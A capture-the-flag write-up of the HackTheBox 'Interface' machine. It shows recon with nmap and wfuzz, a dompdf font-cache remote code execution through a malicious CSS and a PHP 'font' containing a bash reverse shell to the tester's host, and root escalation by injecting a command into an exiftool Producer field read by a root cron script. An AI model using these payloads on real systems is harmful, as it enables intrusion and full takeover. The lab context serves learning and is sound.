Skip to main content
  1. Posts/

HackTheBox - Interface Writeup

·1921 words·10 mins
Recon>

Recon #

Firstly, we run nmap:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/interface]
└─$ nmap -A -T5 10.10.11.200
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-05 10:01 CEST
Nmap scan report for 10.10.11.200
Host is up (0.041s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 7289a0957eceaea8596b2d2dbc90b55a (RSA)
|   256 01848c66d34ec4b1611f2d4d389c42c3 (ECDSA)
|_  256 cc62905560a658629e6b80105c799b55 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Site Maintenance
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.22 seconds

Here is the website:

7a382639e4f757431bb4f174190f7d38.png

By looking at the source code, we found a contact address and so the domain name:

da045e91834eebb3cc158586d6d4dd4a.png

Let’s add the domain to our /etc/hosts file.

I’ve tried to enumerate directories and subdomain but I found nothing.

Subdomain enumeration>

Subdomain enumeration #

So, I decide to look deeper at the http requests:

b436bcf84f317f3bbb7e8616b0041d3d.png

We can see that there is a subdomain on the response: prd.m.rendering-api.interface.htb

Directories enumeration>

Directories enumeration #

Let’s enumerate directories:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/interface]
└─$ wfuzz -c --hh 0 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://prd.m.rendering-api.interface.htb/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://prd.m.rendering-api.interface.htb/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                           
=====================================================================

000000001:   404        1 L      3 W        16 Ch       "# directory-list-2.3-medium.txt"                                                                                                                 
000000007:   404        1 L      3 W        16 Ch       "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"                                                                                 
000000003:   404        1 L      3 W        16 Ch       "# Copyright 2007 James Fisher"                                                                                                                   
000000014:   404        1 L      3 W        16 Ch       "http://prd.m.rendering-api.interface.htb/"                                                                                                       
000000013:   404        1 L      3 W        16 Ch       "#"                                                                                                                                               
000000012:   404        1 L      3 W        16 Ch       "# on at least 2 different hosts"                                                                                                                 
000000006:   404        1 L      3 W        16 Ch       "# Attribution-Share Alike 3.0 License. To view a copy of this"                                                                                   
000000008:   404        1 L      3 W        16 Ch       "# or send a letter to Creative Commons, 171 Second Street,"                                                                                      
000000004:   404        1 L      3 W        16 Ch       "#"                                                                                                                                               
000000011:   404        1 L      3 W        16 Ch       "# Priority ordered case-sensitive list, where entries were found"                                                                                
000000010:   404        1 L      3 W        16 Ch       "#"                                                                                                                                               
000000002:   404        1 L      3 W        16 Ch       "#"                                                                                                                                               
000000005:   404        1 L      3 W        16 Ch       "# This work is licensed under the Creative Commons"                                                                                              
000000009:   404        1 L      3 W        16 Ch       "# Suite 300, San Francisco, California, 94105, USA."                                                                                             
000001026:   404        0 L      3 W        50 Ch       "api"                                                                                                                                             
000001481:   403        1 L      2 W        15 Ch       "vendor" 

Let’s try to further enumerate /vendor:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/interface]
└─$ wfuzz -c --hh 0 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt -u http://prd.m.rendering-api.interface.htb/vendor/FUZZ 
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://prd.m.rendering-api.interface.htb/vendor/FUZZ
Total requests: 30000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                           
=====================================================================

000004255:   404        1 L      3 W        16 Ch       "http://prd.m.rendering-api.interface.htb/vendor/"                                                                                                
000009010:   403        1 L      2 W        15 Ch       "dompdf"                                                                                                                                          
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...

Total time: 0
Processed Requests: 21240
Filtered Requests: 21238
Requests/sec.: 0

We found /dompdf.

As we found /api previously, let’s see if it returns something:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/interface]
└─$ curl http://prd.m.rendering-api.interface.htb/api
{"status":"404","status_text":"route not defined"} 

Then, by further enumerating the /api endpoint, we found a html2pdf directory:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/interface]
└─$ wfuzz -c -X POST --hh 50 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt -u http://prd.m.rendering-api.interface.htb/api/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://prd.m.rendering-api.interface.htb/api/FUZZ
Total requests: 30000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                           
=====================================================================

000006080:   422        0 L      2 W        36 Ch       "html2pdf"
API Fuzzing>

API Fuzzing #

By making a POST request, we can see that we are missing parameters:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/interface]
└─$ curl -X POST http://prd.m.rendering-api.interface.htb/api/html2pdf                                                                                                             
{"status_text":"missing parameters"} 

So, I decide to fuzz for parameters:

┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/interface]
└─$ wfuzz -c -X POST --hc 422 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/api/objects.txt -u http://prd.m.rendering-api.interface.htb/api/html2pdf  
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://prd.m.rendering-api.interface.htb/api/html2pdf
Total requests: 3132

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                           
=====================================================================

000000872:   200        76 L     184 W      1130 Ch     "html"                                                                                                                                            

Total time: 0
Processed Requests: 3132
Filtered Requests: 3131
Requests/sec.: 0

As we found html2pdf and dompdf, there is a possibility that the html parameter is used to specify an html page to be converted in pdf.

So, I decided to make some researches about that.

Exploit>

Exploit #

And I found this exploit.

Firstly, the exploit.css file will be requested through our html parameter. It’s a malicious css because it will download a malicious phpfont:

┌──(parallels㉿kali-linux-2022-2)-[~/…/htb/interface/dompdf-rce/exploit]
└─$ cat exploit.css
@font-face {
    font-family:'exploitfont';
    src:url('http://10.10.14.66:8000/exploit_font.php');
    font-weight:'normal';
    font-style:'normal';
  }

Then, there is the php font. It will execute phpinfo():

┌──(parallels㉿kali-linux-2022-2)-[~/…/htb/interface/dompdf-rce/exploit]
└─$ cat exploit_font.php      

� dum1�cmap
           `�,glyf5sc��head�Q6�6hhea��($hmtxD
loca
Tmaxp\ nameD�|8dum2�
                     -��-����
:83#5:08��_<�
             @�8�&۽
:8L��

:D

6                               s
<?php phpinfo(); ?> 

Now let’s start a simple server and request the malicious css:

┌──(parallels㉿kali-linux-2022-2)-[~/…/htb/interface/dompdf-rce/exploit]
└─$ curl -X POST http://prd.m.rendering-api.interface.htb/api/html2pdf -d '{"html": "<link rel=stylesheet href=http://10.10.14.66:8000/exploit.css"}'                           
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.

We can see that it works:

┌──(parallels㉿kali-linux-2022-2)-[~/…/htb/interface/dompdf-rce/exploit]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.200 - - [05/May/2023 17:00:55] "GET /exploit.css HTTP/1.0" 200 -
10.10.11.200 - - [05/May/2023 17:00:55] "GET /exploit_font.php HTTP/1.0" 200 -

But now, we need to find where trigger the php file. Because the font file is stored in cache.

The following article explains well where it’s stored.

A font fetched from http://10.10.14.66:8000/reverse_font.php will be stored as reversefont_normal_efb2648023539b3eb0558f5da51b4241.php

efb2648023539b3eb0558f5da51b4241 correspondig to:

➜  ~ md5 -s "http://10.10.14.66:8000/reverse_font.php"
MD5 ("http://10.10.14.66:8000/reverse_font.php") = efb2648023539b3eb0558f5da51b4241

Here is the reverse_font.php file:


 dum1�cmap
           `,glyf5sc��head�Q6�6hhea��($hmtxD
loca
Tmaxp\ nameD�|8dum2�
                     -��-����
:83#5:08��_<�
             @�8�&۽
:8L��

:D

6                               s
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.66/1234 0>&1'"); ?>

Then, we can trigger the reverse shell:

┌──(parallels㉿kali-linux-2022-2)-[~/…/htb/interface/dompdf-rce/exploit]
└─$ curl http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/reversefont_normal_efb2648023539b3eb0558f5da51b4241.php                  
<html>
<head><title>504 Gateway Time-out</title></head>
<body bgcolor="white">
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>

And we get back a shell on our listener:

┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ rlwrap nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.66] from (UNKNOWN) [10.10.11.200] 60056
bash: cannot set terminal process group (1248): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.4$ whoami
whoami
www-data
Root PrivEsc>

Root PrivEsc #

After some enumeration, I decided to run pspy64:

bash-4.4$ ./pspy64
./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/05/05 15:54:54 CMD: UID=33    PID=24892  | ./pspy64 
2023/05/05 15:54:54 CMD: UID=0     PID=24817  | 
2023/05/05 15:54:54 CMD: UID=0     PID=1      | /sbin/init maybe-ubiquity 
2023/05/05 15:55:01 CMD: UID=0     PID=24904  | find /var/www/api/vendor/dompdf/dompdf/lib/fonts/ -type f -cmin -5 -exec rm {} ; 
2023/05/05 15:55:01 CMD: UID=0     PID=24903  | /bin/bash /root/clean.sh 
2023/05/05 15:55:01 CMD: UID=0     PID=24902  | /bin/sh -c /root/clean.sh 
2023/05/05 15:55:01 CMD: UID=0     PID=24901  | /usr/sbin/CRON -f 
2023/05/05 15:55:01 CMD: UID=0     PID=24905  | rm /var/www/api/vendor/dompdf/dompdf/lib/fonts/dompdf_font_family_cache.php 
2023/05/05 15:55:01 CMD: UID=0     PID=24906  | cp /root/font_cache/dompdf_font_family_cache.php.bak /root/font_cache/dompdf_font_family_cache.php 
2023/05/05 15:55:01 CMD: UID=0     PID=24908  | 
2023/05/05 15:55:01 CMD: UID=0     PID=24909  | chgrp www-data /root/font_cache/dompdf_font_family_cache.php 
2023/05/05 15:55:01 CMD: UID=0     PID=24910  | mv /root/font_cache/dompdf_font_family_cache.php /var/www/api/vendor/dompdf/dompdf/lib/fonts/dompdf_font_family_cache.php 
2023/05/05 15:56:01 CMD: UID=0     PID=24913  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/05 15:56:01 CMD: UID=0     PID=24912  | /bin/sh -c /usr/local/sbin/cleancache.sh 
2023/05/05 15:56:01 CMD: UID=0     PID=24911  | /usr/sbin/CRON -f 
2023/05/05 15:56:01 CMD: UID=0     PID=24914  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/05 15:56:01 CMD: UID=0     PID=24916  | cut -d   -f1 
2023/05/05 15:56:01 CMD: UID=0     PID=24915  | /usr/bin/perl -w /usr/bin/exiftool -s -s -s -Producer /tmp/0le 
2023/05/05 15:56:01 CMD: UID=0     PID=24917  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/05 15:56:01 CMD: UID=0     PID=24918  | /bin/bash /dev/shm/0le.sh 
2023/05/05 15:56:01 CMD: UID=0     PID=24922  | cut -d   -f1 
2023/05/05 15:56:01 CMD: UID=0     PID=24921  | /usr/bin/perl -w /usr/bin/exiftool -s -s -s -Producer /tmp/0le_original 
2023/05/05 15:56:01 CMD: UID=0     PID=24920  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/05 15:56:01 CMD: UID=0     PID=24924  | /bin/bash /dev/shm/0le.sh 
2023/05/05 15:56:01 CMD: UID=0     PID=24923  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/05 15:56:01 CMD: UID=0     PID=24925  | chmod +s /bin/bash 
2023/05/05 15:56:01 CMD: UID=0     PID=24928  | cut -d   -f1 
2023/05/05 15:56:01 CMD: UID=0     PID=24927  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/05 15:56:01 CMD: UID=0     PID=24926  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/05 15:57:38 CMD: UID=0     PID=24931  | 
2023/05/05 15:58:01 CMD: UID=0     PID=24932  | /usr/sbin/CRON -f 
2023/05/05 15:58:01 CMD: UID=0     PID=24934  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/05 15:58:01 CMD: UID=0     PID=24933  | /bin/sh -c /usr/local/sbin/cleancache.sh 
2023/05/05 15:58:01 CMD: UID=0     PID=24937  | cut -d   -f1 
2023/05/05 15:58:01 CMD: UID=0     PID=24936  | /usr/bin/perl -w /usr/bin/exiftool -s -s -s -Producer /tmp/0le 
2023/05/05 15:58:01 CMD: UID=0     PID=24935  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/05 15:58:01 CMD: UID=0     PID=24940  | /bin/bash /dev/shm/0le.sh 
2023/05/05 15:58:01 CMD: UID=0     PID=24939  | /bin/bash /dev/shm/0le.sh 
2023/05/05 15:58:01 CMD: UID=0     PID=24938  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/05 15:58:01 CMD: UID=0     PID=24943  | cut -d   -f1 
2023/05/05 15:58:01 CMD: UID=0     PID=24942  | /usr/bin/perl -w /usr/bin/exiftool -s -s -s -Producer /tmp/0le_original 
2023/05/05 15:58:01 CMD: UID=0     PID=24941  | /bin/bash /usr/local/sbin/cleancache.sh 
2023/05/05 15:58:02 CMD: UID=0     PID=24945  | 
2023/05/05 15:58:02 CMD: UID=0     PID=24944  | /bin/bash /usr/local/sbin/cleancache.sh 

We can see that a bash script is executed, here it is:

bash-4.4$ cat /usr/local/sbin/cleancache.sh
cat /usr/local/sbin/cleancache.sh
#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do

    if [[ -f "$cfile" ]]; then

        meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)

        if [[ "$meta_producer" -eq "dompdf" ]]; then
            echo "Removing $cfile"
            rm "$cfile"
        fi

    fi

done

The [[ "$meta_producer" -eq "dompdf" ]] can lead to command execution if we enter something like a[$(date >&2)]+dompdf.

The full explanation is this blog post.

It means that if we success to update the producer field of one of the generated file, we’ll be able to execute arbitrary commands.

For example, here is the producer output for a pdf file generated by dompdf:

www-data@interface:/tmp$ exiftool -s -s -s -Producer 8ee853b362d3bb60049618232bd2ac70.pdf
<s -s -Producer 8ee853b362d3bb60049618232bd2ac70.pdf
dompdf 1.2.0 + CPDF

Now let’s try to update it in order to execute the id command:

www-data@interface:/tmp$ exiftool -Producer='a[$(id)]+dompdf 1.2.0 + CPDF' 8ee853b362d3bb60049618232bd2ac70.pdf
< 1.2.0 + CPDF' 8ee853b362d3bb60049618232bd2ac70.pdf
    1 image files updated

Well done !

www-data@interface:/tmp$ bash /usr/local/sbin/cleancache.sh
bash /usr/local/sbin/cleancache.sh
/usr/local/sbin/cleancache.sh: line 9: uid=33(www-data) gid=33(www-data) groups=33(www-data): syntax error in expression (error token is "(www-data) gid=33(www-data) groups=33(www-data)")

Now, we just need to make it add the suid bit to /bin/bash. Firstly, we’ll create a bash script under /var/www because we have the permission to write in this folder and under /tmp he will be suppressed.

www-data@interface:/tmp$ cat /var/www/payload
cat /var/www/payload
#!/bin/bash
chmod u+s /bin/bash

Then, we update the producer filed as required:

www-data@interface:/tmp$ exiftool -Producer='a[$(/var/www/payload)]+dompdf 1.2.0 + CPDF' 8ee853b362d3bb60049618232bd2ac70.pdf
< 1.2.0 + CPDF' 8ee853b362d3bb60049618232bd2ac70.pdf
    1 image files updated

Finally, we can see that the cron has executed the script because the suid is present on /bin/bash. We can execute ir order to become root !

www-data@interface:/tmp$ ls -la /bin/bash
ls -la /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr 18  2022 /bin/bash
www-data@interface:/tmp$ /bin/bash -p
/bin/bash -p
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
whoami
root